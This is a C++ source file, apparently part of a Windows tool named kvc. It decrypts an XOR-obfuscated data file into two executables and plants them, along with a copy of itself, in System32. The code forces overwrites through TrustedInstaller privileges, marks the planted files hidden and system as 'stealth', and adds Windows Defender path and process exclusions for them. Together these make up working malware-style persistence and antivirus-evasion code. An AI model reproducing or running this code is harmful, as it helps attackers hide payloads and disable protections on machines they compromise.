// ControllerBinaryManager.cpp - Fixed compilation issues
#include "Controller.h"
#include "common.h"
#include "Utils.h"
#include "TrustedInstallerIntegrator.h"
#include <filesystem>

namespace fs = std::filesystem;

bool Controller::WriteFileWithPrivileges(const std::wstring& filePath, const std::vector<BYTE>& data) noexcept
{
    // First attempt: normal write operation
    if (Utils::WriteFile(filePath, data)) {
        return true;
    }
    
    // If normal write fails, check if file exists and handle system files
    const DWORD attrs = GetFileAttributesW(filePath.c_str());
    if (attrs != INVALID_FILE_ATTRIBUTES) {
        INFO(L"Target file exists, attempting privileged overwrite: %s", filePath.c_str());
        
        // Clear restrictive attributes first
        if (attrs & (FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN)) {
            SetFileAttributesW(filePath.c_str(), FILE_ATTRIBUTE_NORMAL);
        }
        
        // Force delete if still locked
        if (!DeleteFileW(filePath.c_str())) {
            // Use TrustedInstaller for stubborn files - call on instance
            std::wstring delCmd = L"cmd.exe /c del /f /q \"" + filePath + L"\"";
            if (!m_trustedInstaller.RunAsTrustedInstallerSilent(delCmd)) {
                ERROR(L"Failed to delete existing file with TrustedInstaller: %s", filePath.c_str());
                return false;
            }
        }
    }
    
    // Retry normal write after cleanup
    if (Utils::WriteFile(filePath, data)) {
        return true;
    }
    
    // Final fallback: use TrustedInstaller to write file
    const fs::path tempDir = fs::temp_directory_path();
    const fs::path tempFile = tempDir / fs::path(filePath).filename();
    
    // Write to temp location first
    if (!Utils::WriteFile(tempFile.wstring(), data)) {
        ERROR(L"Failed to write to temporary location: %s", tempFile.c_str());
        return false;
    }
    
    // Copy from temp to target with TrustedInstaller - call on instance
    std::wstring copyCmd = L"cmd.exe /c copy /y \"" + tempFile.wstring() + L"\" \"" + filePath + L"\"";
    bool copySuccess = m_trustedInstaller.RunAsTrustedInstallerSilent(copyCmd);
    
    // Cleanup temp file
    DeleteFileW(tempFile.c_str());
    
    if (!copySuccess) {
        ERROR(L"TrustedInstaller copy operation failed for: %s", filePath.c_str());
        return false;
    }
    
    return true;
}

// Enhanced file writing with TrustedInstaller privileges and proper overwrite handling
bool Controller::WriteExtractedComponents(const std::vector<BYTE>& kvcPassData, 
                                         const std::vector<BYTE>& kvcCryptData) noexcept
{
    INFO(L"Writing extracted components to target locations");
    
    try {
        wchar_t systemDir[MAX_PATH];
        if (GetSystemDirectoryW(systemDir, MAX_PATH) == 0) {
            ERROR(L"Failed to get System32 directory path");
            return false;
        }
        
        const fs::path system32Dir = systemDir;
        const fs::path kvcPassPath = system32Dir / KVC_PASS_FILE;
        const fs::path kvcCryptPath = system32Dir / KVC_CRYPT_FILE;
        const fs::path kvcMainPath = system32Dir / L"kvc.exe";
        
        INFO(L"Target paths - kvc_pass.exe: %s", kvcPassPath.c_str());
        INFO(L"Target paths - kvc_crypt.dll: %s", kvcCryptPath.c_str());
        INFO(L"Target paths - kvc.exe: %s", kvcMainPath.c_str());
        
        // Get current executable path for self-copy
        wchar_t currentExePath[MAX_PATH];
        if (GetModuleFileNameW(nullptr, currentExePath, MAX_PATH) == 0) {
            ERROR(L"Failed to get current executable path");
            return false;
        }
        
        auto currentExeData = Utils::ReadFile(currentExePath);
        if (currentExeData.empty()) {
            ERROR(L"Failed to read current executable for self-copy");
            return false;
        }
        
        // Write all components using enhanced method with privilege escalation
        bool allSuccess = true;
        
        // Write kvc_pass.exe
        if (!WriteFileWithPrivileges(kvcPassPath.wstring(), kvcPassData)) {
            ERROR(L"Failed to write kvc_pass.exe to System32 directory");
            allSuccess = false;
        } else {
            INFO(L"Successfully wrote kvc_pass.exe (%zu bytes)", kvcPassData.size());
        }
        
        // Write kvc_crypt.dll  
        if (!WriteFileWithPrivileges(kvcCryptPath.wstring(), kvcCryptData)) {
            ERROR(L"Failed to write kvc_crypt.dll to System32 directory");
            allSuccess = false;
            // Cleanup on partial failure
            DeleteFileW(kvcPassPath.c_str());
        } else {
            INFO(L"Successfully wrote kvc_crypt.dll (%zu bytes)", kvcCryptData.size());
        }
        
        // Write kvc.exe (self-copy)
        if (!WriteFileWithPrivileges(kvcMainPath.wstring(), currentExeData)) {
            ERROR(L"Failed to write kvc.exe to System32 directory");
            allSuccess = false;
            // Cleanup on partial failure
            DeleteFileW(kvcPassPath.c_str());
            DeleteFileW(kvcCryptPath.c_str());
        } else {
            INFO(L"Successfully wrote kvc.exe (%zu bytes)", currentExeData.size());
        }
        
        if (!allSuccess) {
            return false;
        }
        
        // Set stealth attributes for all files
        const DWORD stealthAttribs = FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN;
        
        SetFileAttributesW(kvcPassPath.c_str(), stealthAttribs);
        SetFileAttributesW(kvcCryptPath.c_str(), stealthAttribs);
        SetFileAttributesW(kvcMainPath.c_str(), stealthAttribs);
        
		// Add Windows Defender exclusions for deployed components
		INFO(L"Adding Windows Defender exclusions for deployed components");

		// Add paths (all files)
		m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcPassPath.wstring());
		m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcCryptPath.wstring());
		m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcMainPath.wstring());

		// Add processes (executables only)
		m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Processes, L"kvc_pass.exe");
		m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Processes, L"kvc.exe");

		INFO(L"Windows Defender exclusions configured successfully");
		
        INFO(L"Binary component extraction and deployment completed successfully");
        return true;
        
    } catch (const std::exception& e) {
        ERROR(L"Exception during component writing: %S", e.what());
        return false;
    } catch (...) {
        ERROR(L"Unknown exception during component writing");
        return false;
    }
}

// Main entry point for kvc.dat processing - decrypt and extract components
bool Controller::LoadAndSplitCombinedBinaries() noexcept 
{
    INFO(L"Starting kvc.dat processing - loading combined encrypted binary");
    
    try {
        const fs::path currentDir = fs::current_path();
        const fs::path kvcDataPath = currentDir / KVC_DATA_FILE;
        
        if (!fs::exists(kvcDataPath)) {
            ERROR(L"kvc.dat file not found in current directory: %s", kvcDataPath.c_str());
            return false;
        }
        
        auto encryptedData = Utils::ReadFile(kvcDataPath.wstring());
        if (encryptedData.empty()) {
            ERROR(L"Failed to read kvc.dat file or file is empty");
            return false;
        }
        
        INFO(L"Successfully loaded kvc.dat (%zu bytes)", encryptedData.size());
        
        // Decrypt using XOR cipher with predefined key
		auto decryptedData = Utils::DecryptXOR(encryptedData, KVC_XOR_KEY);
		if (decryptedData.empty()) {
			ERROR(L"XOR decryption failed - invalid encrypted data");
			return false;
		}

		INFO(L"XOR decryption completed successfully");

		// Split combined binary into separate PE components
		std::vector<BYTE> kvcPassData, kvcCryptData;
		if (!Utils::SplitCombinedPE(decryptedData, kvcPassData, kvcCryptData)) {
			ERROR(L"Failed to split combined PE data into components");
			return false;
		}

		if (kvcPassData.empty() || kvcCryptData.empty()) {
            ERROR(L"Extracted components are empty - invalid PE structure");
            return false;
        }
        
        INFO(L"PE splitting successful - kvc_pass.exe: %zu bytes, kvc_crypt.dll: %zu bytes", 
             kvcPassData.size(), kvcCryptData.size());
        
        // Write extracted components with enhanced error handling
        if (!WriteExtractedComponents(kvcPassData, kvcCryptData)) {
            ERROR(L"Failed to write extracted binary components to disk");
            return false;
        }
        
        INFO(L"kvc.dat processing completed successfully");
        return true;
        
    } catch (const std::exception& e) {
        ERROR(L"Exception during kvc.dat processing: %S", e.what());
        return false;
    } catch (...) {
        ERROR(L"Unknown exception during kvc.dat processing");
        return false;
    }
}

